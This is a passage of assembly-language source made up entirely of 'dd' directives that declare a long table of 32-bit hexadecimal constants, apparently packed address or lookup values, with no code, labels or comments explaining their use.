		dd 150341C2h, 6D0243C2h, 610243C2h, 620243C2h, 10743C2h
		dd 7A5143C2h, 405143C2h, 420145C2h, 430145C2h, 130107C2h
		dd 420F07C2h, 0E41748C2h, 0AA2948C2h, 0AB2948C2h, 330648C2h
		dd 340648C2h, 0E5649C2h, 0F5649C2h, 1744DC2h, 7C744DC2h
		dd 81924DC2h, 6924DC2h,	81454FC2h, 83454FC2h, 47C208C2h
		dd 0D70808C2h, 0E2E351C2h, 7D1754C2h, 11F854C2h, 17755C2h
		dd 80057C2h, 90057C2h, 54A57C2h, 0ACE59C2h, 9CE59C2h, 147F09C2h
		dd 5015AC2h, 0C14D5BC2h, 0C24D5BC2h, 7BBE5DC2h,	84BE5DC2h
		dd 4D65EC2h, 321E5EC2h,	1685FC2h, 16D61C2h, 14C861C2h
		dd 10361C2h, 10062C2h, 17462C2h, 11362C2h, 0A94162C2h
		dd 414162C2h, 454162C2h, 75562C2h, 81840AC3h, 43840AC3h
		dd 59565C3h, 7CBE65C3h,	0E8D467C3h, 0A406EC3h, 0B406EC3h
		dd 964770C3h, 0C84770C3h, 0C29071C3h, 0E99071C3h, 0C14072C3h
		dd 0E0E75C3h, 220179C3h, 9C57EC3h, 34080C3h, 4A0C81C3h
		dd 520C81C3h, 610281C3h, 0E20A0DC3h, 12E082C3h,	840084C3h
		dd 0C10084C3h, 80085C3h, 0C8FA88C3h, 0C9FA88C3h, 0DC820EC3h
		dd 0AA850EC3h, 189B0EC3h, 49B0EC3h, 5388DC3h, 82488DC3h
		dd 26C8FC3h, 26D8FC3h, 56492C3h, 3C8092C3h, 3B8492C3h
		dd 46392C3h, 226096C3h,	1DF9AC3h, 0E4ED9AC3h, 3019BC3h
		dd 4019BC3h, 2A09EC3h, 21429FC3h, 8700A1C3h, 1603A1C3h
		dd 568CA3C3h, 840DA6C3h, 40DA6C3h, 0CA3AA6C3h, 201A8C3h
		dd 401A8C3h, 821211C3h,	200AAC3h, 102AAC3h, 1788B2C3h
		dd 3840B2C3h, 16D2B4C3h, 2BD2B4C3h, 0C72B6C3h, 1C60B6C3h
		dd 1D60B6C3h, 3C60B6C3h, 3D60B6C3h, 0F28FB8C3h,	122CB8C3h
		dd 222CB8C3h, 33F5BBC3h, 1220BCC3h, 420BCC3h, 2700BDC3h
		dd 2701BDC3h, 7900C7C3h, 7D00C7C3h, 61E014C3h, 62E014C3h
		dd 22E114C3h, 9242CEC3h, 8FF15C3h, 22D3D3C3h, 421ED7C3h
		dd 14EEDCC3h, 23BDCC3h,	63BDCC3h, 100DEC3h, 5DD2DEC3h
		dd 0A22DFC3h, 0C22DFC3h, 2FFE0C3h, 6FFE0C3h, 5EFFE0C3h
		dd 4696E6C3h, 5696E6C3h, 9A00E8C3h, 440E8C3h, 181E9C3h
		dd 281E9C3h, 1E0EEC3h, 1F0EEC3h, 1103EEC3h, 1203EEC3h
		dd 1303EEC3h, 1403EEC3h, 2130F1C3h, 202F2C3h, 302F2C3h
		dd 86EE19C3h, 0B80FCC3h, 3780FCC3h, 474A1BC3h, 3961DC3h
		dd 4961DC3h, 0F9F1DC3h,	16C03C3h, 26C03C3h, 436003C3h
		dd 446003C3h, 1001EC3h,	1FBE1FC3h, 0A8522C3h, 0B8522C3h
		dd 2A822C3h, 0A2022C3h,	198626C3h, 22026C3h, 22126C3h
		dd 0FA0028C3h, 0FA0128C3h, 0AC62AC3h, 5C62AC3h,	222E2CC3h
		dd 832805C3h, 58C32C3h,	209532C3h, 0C17A36C3h, 0C27A36C3h
		dd 6F673AC3h, 5CA23AC3h, 4DB03AC3h, 22603AC3h, 3D3A06C3h
		dd 3E3A06C3h, 0FA1441C3h, 0B0044C3h, 0C0044C3h,	82A446C3h
		dd 0C1B146C3h, 174046C3h, 194046C3h, 0A004AC3h,	37004AC3h
		dd 1A14EC3h, 1C050C3h, 0A2651C3h, 63C352C3h, 2405AC3h
		dd 0DEC35CC3h, 0FE585EC3h, 0A5A5EC3h, 0CD7D63C3h, 0D44163C3h
		dd 0D34263C3h, 15E63C3h, 644501C4h, 624501C4h, 8A416C4h
		dd 10119C4h, 90119C4h, 0E63303C4h, 2A004C4h, 8A004C4h
		dd 421F28C4h, 431F28C4h, 8B0007C4h, 858E07C4h, 122065C6h
		dd 0B7066C6h, 45666C6h,	16167C6h, 87A68C6h, 0E006BC6h
		dd 0B0C6BC6h, 2A016CC6h, 5826CC6h, 13456CC6h, 3246DC6h
		dd 1040BC6h, 42986FC6h,	0FC116FC6h, 4B06FC6h, 4B46FC6h
		dd 2B86FC6h, 83C46FC6h,	22C46FC6h, 6C86FC6h, 7C86FC6h
		dd 16CC6FC6h, 0C8D16FC6h, 5F06FC6h, 2F46FC6h, 121C6FC6h
		dd 2206FC6h, 0B246FC6h,	0E246FC6h, 13246FC6h, 142B6FC6h
		dd 742D6FC6h, 102D6FC6h, 9386FC6h, 2C3F6FC6h, 66F74C6h
		dd 0F14174C6h, 0A0280C6h, 10A0DC6h, 3C785C6h, 4C785C6h
		dd 1DD89C6h, 4DD89C6h, 5DD89C6h, 3EF989C6h, 441C8DC6h
		dd 10392C6h, 22DD93C6h,	23DD93C6h, 24B93C6h, 414C93C6h
		dd 0F0C97C6h, 0F0D97C6h, 0B7F897C6h, 0F3F897C6h, 630C98C6h
		dd 630D98C6h, 5DF9BC6h,	1566A1C6h, 2266A1C6h, 19CA1C6h
		dd 749DA1C6h, 1520A1C6h, 142CA1C6h, 0B06A1C6h, 806A1C6h
		dd 2E3A3C6h, 4E3A3C6h, 0FDE8A3C6h, 0FEE8A3C6h, 21EA4C6h
		dd 204A4C6h, 0FE3FA5C6h, 2D7A6C6h, 1BFAA8C6h, 836A8C6h
		dd 849A8C6h, 5F911C6h, 0C0511C6h, 463911C6h, 304B11C6h
		dd 0D52ACC6h, 0C838AFC6h, 0B5AEB0C6h, 0BDAEB0C6h, 0A708B2C6h
		dd 0A808B2C6h, 0CDC8B4C6h, 38CB6C6h, 79FB6C6h, 89FB6C6h
		dd 0A7CBBBC6h, 3ECBBBC6h, 3E2BEC6h, 1EE2BEC6h, 7C7C7C6h
		dd 8C7C7C6h, 91EDC7C6h,	499C8C6h, 0A17C9C6h, 1A4BCAC6h
		dd 43C4CBC6h, 418ECCC6h, 3BF6CEC6h, 3CF6CEC6h, 1A9CFC6h
		dd 2A9CFC6h, 27FD7C6h, 6C0116C6h, 819916C6h, 21316C6h
		dd 31316C6h, 940517C6h,	0E18BE8C6h, 0BD3E8C6h, 11D3E8C6h
		dd 0A0AE9C6h, 140AE9C6h, 1D8EBC6h, 82D8EBC6h, 83D8EBC6h
		dd 2D8EBC6h, 85FEECC6h,	6504ECC6h, 4782F0C6h, 0C8D4F0C6h
		dd 0C8D5F0C6h, 2F8F2C6h, 3F8F2C6h, 235F3C6h, 735F3C6h
		dd 0B20F5C6h, 0C20F5C6h, 3D60F6C6h, 5C60F6C6h, 0FBE1F7C6h
		dd 6E20FCC6h, 1420FCC6h, 2310FDC6h, 328FDC6h, 0A8803C6h
		dd 9C803C6h, 0FA6203C6h, 0FB6203C6h, 0AD91EC6h,	71D1EC6h
		dd 81D1EC6h, 0AD521EC6h, 0AE521EC6h, 0C701FC6h,	7701FC6h
		dd 2811FC6h, 3811FC6h, 5881FC6h, 6881FC6h, 2101FC6h, 6B51FC6h
		dd 8B51FC6h, 42C01FC6h,	7CD1FC6h, 9CD1FC6h, 0AD21FC6h
		dd 82F81FC6h, 86F81FC6h, 0FEFF1FC6h, 1251FC6h, 0B251FC6h
		dd 32C1FC6h, 3401FC6h, 18571FC6h, 3571FC6h, 0A0220C6h
		dd 0D0420C6h, 2D924C6h,	3D924C6h, 0A9F04C6h, 644B04C6h
		dd 454B04C6h, 235304C6h, 15C04C6h, 15E04C6h, 40029C6h
		dd 6C0329C6h, 270329C6h, 259D31C6h, 459D31C6h, 15D731C6h
		dd 14DA31C6h, 51DC31C6h, 211E31C6h, 0B7633C6h, 20D33C6h
		dd 30D33C6h, 13AF33C6h,	20AF33C6h, 0CFB33C6h, 0DFB33C6h
		dd 0A3133C6h, 0E4035C6h, 720106C6h, 730106C6h, 9A0106C6h
		dd 0A10106C6h, 0A20106C6h, 120106C6h, 0B50106C6h, 0B60106C6h
		dd 130106C6h, 0CA0106C6h, 410106C6h, 510106C6h,	520106C6h
		dd 530106C6h, 156406C6h, 256406C6h, 6F3106C6h, 53106C6h
		dd 2163CC6h, 16163CC6h,	86FD3CC6h, 0B083EC6h, 0F083EC6h
		dd 19C140C6h, 3CC140C6h, 23F44C6h, 33F44C6h, 1B845C6h
		dd 1B945C6h, 2CC45C6h, 7CC45C6h, 82D245C6h, 1BDA45C6h
		dd 21C45C6h, 10007C6h, 20007C6h, 462446C6h, 5F2446C6h
		dd 23046C6h, 23C46C6h, 221347C6h, 0A4047C6h, 0A4247C6h
		dd 0A4848C6h, 64AD4CC6h, 82B54DC6h, 83B54DC6h, 4D04DC6h
		dd 2474DC6h, 60108C6h, 0B0050C6h, 60050C6h, 10B50C6h, 730E50C6h
		dd 31450C6h, 13750C6h, 0C18151C6h, 2D151C6h, 59DA51C6h
		dd 4F651C6h, 0F9A052C6h, 32A552C6h, 22F752C6h, 62F752C6h
		dd 0CB153C6h, 1D2F53C6h, 1E2F53C6h, 1F2F53C6h, 242F53C6h
		dd 292F53C6h, 2B2F53C6h, 302F53C6h, 312F53C6h, 332F53C6h
		dd 0ED255C6h, 0A1257C6h, 17A059C6h, 90909C6h, 1465BC6h
		dd 2465BC6h, 0A085BC6h,	80835CC6h, 3105FC6h, 0AFB5FC6h
		dd 4205FC6h, 324361C6h,	334361C6h, 29B00C7h, 69B00C7h
		dd 1D800C7h, 0DED800C7h, 154600C7h, 174600C7h, 25B01C7h
		dd 85B01C7h, 35168C7h, 65168C7h, 27869C7h, 47B69C7h, 6BA69C7h
		dd 9BA69C7h, 42F06BC7h,	0BF26BC7h, 32FD6CC7h, 151B75C7h
		dd 166075C7h, 17478C7h,	220F7CC7h, 1557DC7h, 24080C7h
		dd 0CA7E8DC7h, 0CE7E8DC7h, 2392A5C7h, 2492A5C7h, 0C98A5C7h
		dd 298A5C7h, 2CC4A6C7h,	5D2A6C7h, 1E3A6C7h, 5E3A6C7h, 0FEFEA6C7h
		dd 4FEA6C7h, 1FF11C7h, 279AAC7h, 6410ABC7h, 210ABC7h, 2A7ABC7h
		dd 4A7ABC7h, 1E37ABC7h,	10A9ACC7h, 0ED89AFC7h, 0FD89AFC7h
		dd 6EAB5C7h, 209B7C7h, 409B7C7h, 509B7C7h, 177B8C7h, 1477B8C7h
		dd 0A80BEC7h, 341BEC7h,	249BEC7h, 6980BFC7h, 6A80BFC7h
		dd 2B80BFC7h, 8B81BFC7h, 4B90BFC7h, 8891BFC7h, 2DCC7C7h
		dd 5DCC7C7h, 0AFC02C7h,	280C9C7h, 0FC0C9C7h, 7675CAC7h
		dd 0A37CAC7h, 237CAC7h,	2349CAC7h, 1401CBC7h, 239DD0C7h
		dd 82ACD0C7h, 0C826D1C7h, 995D3C7h, 42D7D3C7h, 0C1E1D3C7h
		dd 0C453D3C7h, 0CF53D3C7h, 479D4C7h, 979D4C7h, 186D4C7h
		dd 286D4C7h, 2211D4C7h,	2311D4C7h, 3E5D4C7h, 0FC2DD4C7h
		dd 0AFDD9C7h, 271DAC7h,	1471DAC7h, 98FEDAC7h, 5AFEDAC7h
		dd 0C83816C7h, 0C83916C7h, 72FDDC7h, 82FDDC7h, 562DDC7h
		dd 53B7DEC7h, 44BEDEC7h, 6904DEC7h, 504DEC7h, 235DEC7h
		dd 760DEC7h, 20AE0C7h, 4E8EE4C7h, 0B096E7C7h, 0C229E8C7h
		dd 73C8EEC7h, 1382F0C7h, 1482F0C7h, 1CEF2C7h, 0AE1F3C7h
		dd 0BE1F3C7h, 2F2F3C7h,	112F9C7h, 113F9C7h, 660DFAC7h
		dd 1415FAC7h, 0C308FAC7h, 0FB9AFCC7h, 0FBA2FCC7h, 0FBB4FCC7h
		dd 2994FEC7h, 2A94FEC7h, 289DFEC7h, 0BDEFFEC7h,	64CA1AC7h
		dd 2841DC7h, 28031FC7h,	0D2A121C7h, 21022C7h, 51022C7h
		dd 0A6FE29C7h, 0A022CC7h, 42E2CC7h, 52E2CC7h, 62092CC7h
		dd 14012DC7h, 140B2DC7h, 18D2DC7h, 1922DC7h, 1FF2DC7h
		dd 25202DC7h, 26202DC7h, 0E2D2DC7h, 41C62EC7h, 41C72EC7h
		dd 41C82EC7h, 14AF05C7h, 15AF05C7h, 0B1A32C7h, 2763CC7h
		dd 1ED3CC7h, 2ED3CC7h, 10148C7h, 64B34FC7h, 0C8B34FC7h
		dd 64C151C7h, 8C351C7h,	419A54C7h, 16F254C7h, 2C3654C7h
		dd 7DEA58C7h, 3DEA58C7h, 474059C7h, 484059C7h, 14215BC7h
		dd 14245BC7h, 33615EC7h, 82B062C7h, 83B062C7h, 0FAB263C7h
		dd 62C100C8h, 2EC200C8h, 2E000C8h, 81AB01C8h, 3CA0AC8h
		dd 4CA0AC8h, 330183C8h,	30087C8h, 116110C8h, 26210C8h
		dd 7D7713C8h, 637713C8h, 2C815C8h, 24015C8h, 10117C8h
		dd 0C1F217C8h, 0EAFDFFC8h, 2021BC8h, 7021BC8h, 1D81CC8h
		dd 2D81CC8h, 15281DC8h,	16281DC8h, 8241EC8h, 2071FC8h
		dd 8071FC8h, 0D59221C8h, 0C19621C8h, 42D121C8h,	42D521C8h
		dd 0B202CC8h, 0D202CC8h, 73002DC8h, 74002DC8h, 0A0036C8h
		dd 8A0036C8h, 3033EC8h,	3D409C8h, 4F409C8h, 6F409C8h, 0AB800CAh
		dd 5B800CAh, 2C3401CAh,	2D3401CAh, 366265CAh, 376265CAh
		dd 0A20F66CAh, 31D66CAh, 1946ACAh, 9946ACAh, 1CC46ACAh
		dd 1000BCAh, 2000BCAh, 1640BCAh, 3640BCAh, 1680BCAh, 430C0BCAh
		dd 0C8780BCAh, 0C9780BCAh, 608A0BCAh, 81A00BCAh, 85A40BCAh
		dd 3CA40BCAh, 14A70BCAh, 2A90BCAh, 4A90BCAh, 1B80BCAh
		dd 3B80BCAh, 0AC00BCAh,	0AC30BCAh, 0BC70BCAh, 2C80BCAh
		dd 0BC90BCAh, 0BCB0BCAh, 1D40BCAh, 22D60BCAh, 0C2D80BCAh
		dd 11E30BCAh, 2FC0BCAh,	210070CAh, 220070CAh, 230070CAh
		dd 820B70CAh, 0A10E70CAh, 211170CAh, 831470CAh,	0A11770CAh
		dd 0A21770CAh, 221A70CAh, 551D70CAh, 571D70CAh,	0A900CCAh
		dd 0B900CCAh, 831C0CCAh, 831E0CCAh, 0FE5D0CCAh,	20080CAh
		dd 10780CAh, 0ED10DCAh,	1A482CAh, 2A482CAh, 26883CAh, 1B9083CAh
		dd 0BCFF84CAh, 0BDFF84CAh, 0ABC87CAh, 0BBC87CAh, 3538BCAh
		dd 1B10ECAh, 0FEDD0ECAh, 0E430ECAh, 4430ECAh, 83018DCAh
		dd 12968DCAh, 2188DCAh,	1C288DCAh, 320A90CAh, 320D90CAh
		dd 0C88A91CAh, 22700FCAh, 0C270FCAh, 125797CAh,	1E5897CAh
		dd 208A0CAh, 17CA1CAh, 27CA1CAh, 940ABCAh, 0CFF4B2CAh
		dd 0AFFB2CAh, 2E0B5CAh,	3E0B5CAh, 0BDEAB5CAh, 0BEEAB5CAh
		dd 320B5CAh, 620B5CAh, 8240B5CAh, 0C340B5CAh, 16CFB7CAh
		dd 148813CAh, 0A5D14CAh, 1C8C8CAh, 8300C9CAh, 96AC9CAh
		dd 1512C9CAh, 1FCC9CAh,	130C9CAh, 21E4D0CAh, 22E4D0CAh
		dd 219515CAh, 12015CAh,	42015CAh, 0E00D3CAh, 201D3CAh
		dd 0A0AD3CAh, 368D3CAh,	269D3CAh, 40CD3CAh, 3682D3CAh
		dd 3782D3CAh, 0B86D3CAh, 818BD3CAh, 20ED3CAh, 0DD98D3CAh
		dd 149AD3CAh, 0F110D3CAh, 0FD11D3CAh, 212D3CAh,	42BAD3CAh
		dd 0F102D3CAh, 214D3CAh, 2D2D3CAh, 5D2D3CAh, 2DAD3CAh
		dd 0FDDED3CAh, 59E4D3CAh, 318D3CAh, 10F6D3CAh, 1F7D3CAh
		dd 201BD3CAh, 21CD3CAh,	11ED3CAh, 4620D3CAh, 4921D3CAh
		dd 5021D3CAh, 304D3CAh,	1331D3CAh, 132D3CAh, 4638D3CAh
		dd 33AD3CAh, 0FC06D3CAh, 8240D3CAh, 142D3CAh, 10AD4CAh
		dd 30AD4CAh, 2C3D5CAh, 0A95D6CAh, 0B95D6CAh, 0B2DD6CAh
		dd 8259D6CAh, 0C101D7CAh, 42E0D8CAh, 43E0D8CAh,	1E00D9CAh
		dd 79B1DBCAh, 280DCCAh,	48CDCCAh, 8382DDCAh, 0FD84DDCAh
		dd 4287DDCAh, 0F28CDDCAh, 191DDCAh, 296DDCAh, 2297DDCAh
		dd 0B99DDCAh, 0C99DDCAh, 0B9BDDCAh, 410DDCAh, 1A2DDCAh
		dd 2A2DDCAh, 4AADDCAh, 2BCDDCAh, 0FEBDDDCAh, 0CC1DDCAh
		dd 14C6DDCAh, 81C7DDCAh, 6002DDCAh, 6102DDCAh, 214DDCAh
		dd 2CADDCAh, 3D6DDCAh, 1DADDCAh, 316DDCAh, 0A17DDCAh, 0B17DDCAh
		dd 41F8DDCAh, 0E3F9DDCAh, 0BFBDDCAh, 3FEDDCAh, 21BDDCAh
		dd 11FDDCAh, 21FDDCAh, 4304DDCAh, 128DDCAh, 229DDCAh, 3B2BDDCAh
		dd 22DDDCAh, 32DDDCAh, 22EDDCAh, 233DDCAh, 134DDCAh, 8237DDCAh
		dd 338DDCAh, 606DDCAh, 8E08DDCAh, 9640E0CAh, 4240E0CAh
		dd 182E1CAh, 1A2E1CAh, 0E631E1CAh, 0E15EE1CAh, 8268E2CAh
		dd 556E2CAh, 15BE2CAh, 0E25BE2CAh, 516E3CAh, 2201E4CAh
		dd 0C280E4CAh, 0E19AE4CAh, 78C6E5CAh, 2522E5CAh, 0ABE17CAh
		dd 0BBE17CAh, 101E7CAh,	201E7CAh, 486AE7CAh, 40CE7CAh
		dd 0A80E7CAh, 0D80E7CAh, 0AA0E7CAh, 112E7CAh, 113E7CAh
		dd 2BC0E7CAh, 0CD3E7CAh, 116E7CAh, 916E7CAh, 117E7CAh
		dd 61E8E7CAh, 2120E7CAh, 124E7CAh, 228E7CAh, 22CE7CAh
		dd 32CE7CAh, 133E7CAh, 536E7CAh, 138E7CAh, 238E7CAh, 206E7CAh
		dd 0A48E7CAh, 152E7CAh,	15DE7CAh, 161E7CAh, 67CE8CAh, 238AE8CAh
		dd 91A9E8CAh, 6ABE8CAh,	2202E8CAh, 2302E8CAh, 2402E8CAh
		dd 2502E8CAh, 7E6E8CAh,	2324E8CAh, 1D3BE8CAh, 2447E8CAh
		dd 2547E8CAh, 67E9EACAh, 331EEACAh, 0E34FEBCAh,	6455EBCAh
		dd 0FABCECCAh, 0FBBCECCAh, 420DEDCAh, 684EDCAh,	1271EFCAh
		dd 1A71EFCAh, 380EFCAh,	680EFCAh, 1182EFCAh, 292EFCAh
		dd 0ACEEFCAh, 2CEEFCAh,	9CEEFCAh, 5520EFCAh, 3D3DEFCAh
		dd 18C18CAh, 8401F1CAh,	0D901F1CAh, 164F1CAh, 264F1CAh
		dd 166F1CAh, 170F1CAh, 8A73F1CAh, 1176F1CAh, 2284F1CAh
		dd 4189F1CAh, 0D18FF1CAh, 7E91F1CAh, 10FF1CAh, 4398F1CAh
		dd 229DF1CAh, 0E29EF1CAh, 1410F1CAh, 1510F1CAh,	3A3F1CAh
		dd 12A7F1CAh, 64ABF1CAh, 41B1F1CAh, 0FB13F1CAh,	302F1CAh
		dd 2115F1CAh, 218F1CAh,	119F1CAh, 319F1CAh, 2FCF1CAh, 31CF1CAh
		dd 0C03F1CAh, 0F51FF1CAh, 520F1CAh, 0B21F1CAh, 0A23F1CAh
		dd 0A524F1CAh, 604F1CAh, 205F1CAh, 238F1CAh, 23AF1CAh
		dd 206F1CAh, 13FF1CAh, 240F1CAh, 340F1CAh, 2244F1CAh, 2644F1CAh
		dd 145F1CAh, 4346F1CAh,	1847F1CAh, 8249F1CAh, 24AF1CAh
		dd 24DF1CAh, 0E14EF1CAh, 2255F1CAh, 0F958F1CAh,	0B16F4CAh
		dd 19FF5CAh, 119FF5CAh,	0A80F6CAh, 2180F6CAh, 2280F6CAh
		dd 21A2F6CAh, 32F8F6CAh, 32EF7CAh, 13AF7CAh, 7C53F7CAh
		dd 7D53F7CAh, 300F8CAh,	2200F8CAh, 3B00F8CAh, 0C373F8CAh
		dd 0C573F8CAh, 828EF8CAh, 0C902F8CAh, 0E202F8CAh, 84F1F8CAh
		dd 85F1F8CAh, 6F5F8CAh,	1111F9CAh, 113F9CAh, 6404F9CAh
		dd 0BDC19CAh, 200FBCAh,	4189FBCAh, 4289FBCAh, 4290FBCAh
		dd 21B8FBCAh, 22B9FBCAh, 0BC3FBCAh, 52F4FBCAh, 12FFBCAh
		dd 158FBCAh, 0E2E01ACAh, 1001CCAh, 1121DCAh, 1201DCAh
		dd 0B8F1ECAh, 61BB1ECAh, 32321ECAh, 2801FCAh, 2B61FCAh
		dd 0CEBA1FCAh, 0D1BA1FCAh, 65D31FCAh, 0ADE1FCAh, 20A20CAh
		dd 10C20CAh, 0D87C20CAh, 0D97C20CAh, 0DA7C20CAh, 0DB7C20CAh
		dd 2BF20CAh, 1FA20CAh, 25FC20CAh, 2C3020CAh, 15020CAh
		dd 21D321CAh, 13F221CAh, 34821CAh, 44821CAh, 11F525CAh
		dd 14F525CAh, 3A8026CAh, 426E29CAh, 35E29CAh, 21902CCAh
		dd 2CA2CCAh, 3CA2CCAh, 43CC2CCAh, 44CC2CCAh, 13BC2DCAh
		dd 1842FCAh, 6842FCAh, 328033CAh, 28333CAh, 0E89F33CAh
		dd 5D133CAh, 6D133CAh, 5D433CAh, 0BE2435CAh, 120136CAh
		dd 1E0136CAh, 16406CAh,	165406CAh, 0AC03DCAh, 0BC03DCAh
		dd 4D43DCAh, 0BD83DCAh,	21E13DCAh, 1F03DCAh, 1F83DCAh
		dd 2403DCAh, 0DDF043CAh, 0DEF043CAh, 0A0F07CAh,	0D0F07CAh
		dd 3D0F07CAh, 258047CAh, 218147CAh, 65814BCAh, 66814BCAh
		dd 2614ECAh, 15404FCAh,	1A404FCAh, 4C6051CAh, 526051CAh
		dd 10152CAh, 20152CAh, 24053CAh, 34053CAh, 19254CAh, 1FF54CAh
		dd 0E3FF54CAh, 39F57CAh, 59F57CAh, 850060CAh, 448060CAh
		dd 84C760CAh, 85C760CAh, 646500CBh, 62AC00CBh, 0A41900CBh
		dd 58BF01CBh, 1CB01CBh,	4CB01CBh, 0ADA01CBh, 1FED01CBh
		dd 21ED01CBh, 1E4401CBh, 1E4501CBh, 364B01CBh, 656E0ACBh
		dd 0FEE70ACBh, 6D8065CBh, 6E8065CBh, 5E9D66CBh,	12766CBh
		dd 1720BCBh, 19720BCBh,	19810BCBh, 1E8C0BCBh, 5E20BCBh
		dd 6E20BCBh, 64450BCBh,	1480BCBh, 2480BCBh, 0A006FCBh
		dd 0D006FCBh, 5E0174CBh, 6900CCBh, 7900CCBh, 0A160CCBh
		dd 1500CCBh, 2500CCBh, 0A560CCBh, 2560CCBh, 285A78CBh
		dd 3C5A78CBh, 5A5A78CBh, 278279CBh, 288279CBh, 781079CBh
		dd 551079CBh, 1AE0DCBh,	0FAE0DCBh, 2EC0DCBh, 4EC0DCBh
		dd 1190DCBh, 2190DCBh, 0A6A84CBh, 75F84CBh, 85F84CBh, 424086CBh
		dd 424186CBh, 67A08BCBh, 68A08BCBh, 69A08BCBh, 13A08BCBh
		dd 49A08BCBh, 4AA08BCBh, 4BA08BCBh, 25A18BCBh, 82E48BCBh
		dd 36F0ECBh, 56F0ECBh, 3A80ECBh, 33200ECBh, 34200ECBh
		dd 0A018CCBh, 2818CCBh,	3818CCBh, 4818CCBh, 63838CCBh
		dd 4018DCBh, 5018DCBh, 21808DCBh, 22808DCBh, 25808DCBh
		dd 42808DCBh, 10E8DCBh,	0C60F8DCBh, 52A08DCBh, 53A08DCBh
		dd 1A88DCBh, 12A98DCBh,	3AA8DCBh, 1AB8DCBh, 0BEAD8DCBh
		dd 0FAB88DCBh, 2BA8DCBh, 31C08DCBh, 90C48DCBh, 1C78DCBh
		dd 0AC88DCBh, 81CA8DCBh, 1CB8DCBh, 14CE8DCBh, 1CF8DCBh
		dd 81D08DCBh, 21D28DCBh, 0BE08DCBh, 0EE08DCBh, 0BE38DCBh
		dd 2208DCBh, 0A558DCBh,	60558DCBh, 0B598DCBh, 9598DCBh
		dd 0AF08FCBh, 9F08FCBh,	5A0692CBh, 1960FCBh, 0AF40FCBh
		dd 8F40FCBh, 12440FCBh,	35A0FCBh, 45A0FCBh, 31696CBh, 41696CBh
		dd 20F97CBh, 19997CBh, 29997CBh, 29A97CBh, 0B9C97CBh, 41197CBh
		dd 5AC97CBh, 0AB597CBh,	22697CBh, 22797CBh, 32797CBh, 34297CBh
		dd 44297CBh, 24D97CBh, 1219BCBh, 98009DCBh, 1009FCBh, 2009FCBh
		dd 828710CBh, 228710CBh, 0A2210CBh, 0B2210CBh, 72710CBh
		dd 13C10CBh, 963C10CBh,	837FA1CBh, 0C37FA1CBh, 1B02A4CBh
		dd 1C02A4CBh, 0F002A5CBh, 0F102A5CBh, 5E53A6CBh, 0C6EDA7CBh
		dd 0C7EDA7CBh, 16711CBh, 11D11CBh, 150BACCBh, 190BACCBh
		dd 821CB0CBh, 0C188B2CBh, 3D88B2CBh, 3E88B2CBh,	3F88B2CBh
		dd 8289B2CBh, 4789B2CBh, 40AB3CBh, 1016B3CBh, 5E1B3CBh
		dd 223B3CBh, 4223B3CBh,	19412CBh, 39412CBh, 0FF012CBh
		dd 2F012CBh, 0A3212CBh,	53212CBh, 27CB4CBh, 37CB4CBh, 0B9CB4CBh
		dd 1EAB4CBh, 300B5CBh, 0D6CB5CBh, 26FB5CBh, 7E74B5CBh
		dd 7E75B5CBh, 281B5CBh,	288B5CBh, 0A93B5CBh, 293B5CBh
		dd 797B5CBh, 3A3B5CBh, 4A3B5CBh, 0AB4B5CBh, 2B6B5CBh, 2BBB5CBh
		dd 2414B5CBh, 2614B5CBh, 2CEB5CBh, 1D1B5CBh, 3D2B5CBh
		dd 1D3B5CBh, 7ED5B5CBh,	1D8B5CBh, 65E0B5CBh, 4E6B5CBh
		dd 2E8B5CBh, 3EAB5CBh, 1EFB5CBh, 218B5CBh, 1F0B5CBh, 1F1B5CBh
		dd 2F4B5CBh, 3F6B5CBh, 4F6B5CBh, 1F7B5CBh, 1FAB5CBh, 0BFCB5CBh
		dd 2FEB5CBh, 111AB5CBh,	12CB5CBh, 0A2DB5CBh, 130B5CBh
		dd 134B5CBh, 234B5CBh, 8235B5CBh, 350B5CBh, 7C53B5CBh
		dd 645BB5CBh, 145CB5CBh, 44A0BFCBh, 53A0BFCBh, 0AC0BFCBh
		dd 5C0BFCBh, 6C0BFCBh, 447A02CBh, 18702CBh, 7CC002CBh
		dd 5EC002CBh, 5FC002CBh, 7BC102CBh, 7CC102CBh, 0C4B02CBh
		dd 24B02CBh, 1542CACBh,	1642CACBh, 216815CBh, 226815CBh
		dd 216915CBh, 466915CBh, 16B15CBh, 66B15CBh, 0A7E15CBh
		dd 647F15CBh, 637F15CBh, 148615CBh, 20F15CBh, 30F15CBh
		dd 7C1E15CBh, 7D1E15CBh, 122515CBh, 12F15CBh, 15415CBh
		dd 15515CBh, 10915CBh, 16516CBh, 26516CBh, 820F16CBh, 0C11016CBh
		dd 931116CBh, 0AB816CBh, 1AB816CBh, 81CA16CBh, 82CA16CBh
		dd 41F716CBh, 0E50816CBh, 0A8B17CBh, 1A717CBh, 72C17CBh
		dd 17FE8CBh, 21CAE9CBh,	21CDE9CBh, 181EBCBh, 182EFCBh
		dd 183EFCBh, 166418CBh,	176418CBh, 0BC1F0CBh, 176F1CBh
		dd 2284F1CBh, 5584F1CBh, 8787F1CBh, 8A8F1CBh, 0DB0F1CBh
		dd 5D8F1CBh, 0ADCF1CBh,	0BFAF1CBh, 6434F1CBh, 0A54F1CBh
		dd 8109F1CBh, 2373F4CBh, 90FF5CBh, 8DF0F8CBh, 1FF0F8CBh
		dd 1C9FBCBh, 1D3FBCBh, 2270FFCBh, 470FFCBh, 3781ACBh, 1C71ACBh
		dd 0FC71ACBh, 41E21BCBh, 0A5C1BCBh, 4EA1CCBh, 5EA1CCBh
		dd 2ED1ECBh, 3ED1ECBh, 5651FCBh, 17D1FCBh, 27D1FCBh, 27E1FCBh
		dd 17F1FCBh, 1A01FCBh, 32BF1FCBh, 0D2C61FCBh, 1D81FCBh
		dd 5D81FCBh, 1EE1FCBh, 2EE1FCBh, 0BFC1FCBh, 0CFC1FCBh
		dd 12FE1FCBh, 1CFE1FCBh, 1281FCBh, 0A2A1FCBh, 1A2A1FCBh
		dd 7301FCBh, 1491FCBh, 3C4F1FCBh, 1601FCBh, 1631FCBh, 2631FCBh
		dd 459920CBh, 0AA020CBh, 0ECA120CBh, 0AA620CBh,	0A1021CBh
		dd 7EA823CBh, 11223CBh,	21223CBh, 7B623CBh, 9B623CBh, 25323CBh
		dd 35323CBh, 2ED25CBh, 61FF25CBh, 2B0A29CBh, 2F0A29CBh
		dd 2AB29CBh, 3AB29CBh, 1EDC29CBh, 0ADF29CBh, 14DF29CBh
		dd 11929CBh, 21929CBh, 142C29CBh, 53529CBh, 14F29CBh, 34F29CBh
		dd 62D62ACBh, 52412BCBh, 0A0A05CBh, 337705CBh, 4D905CBh
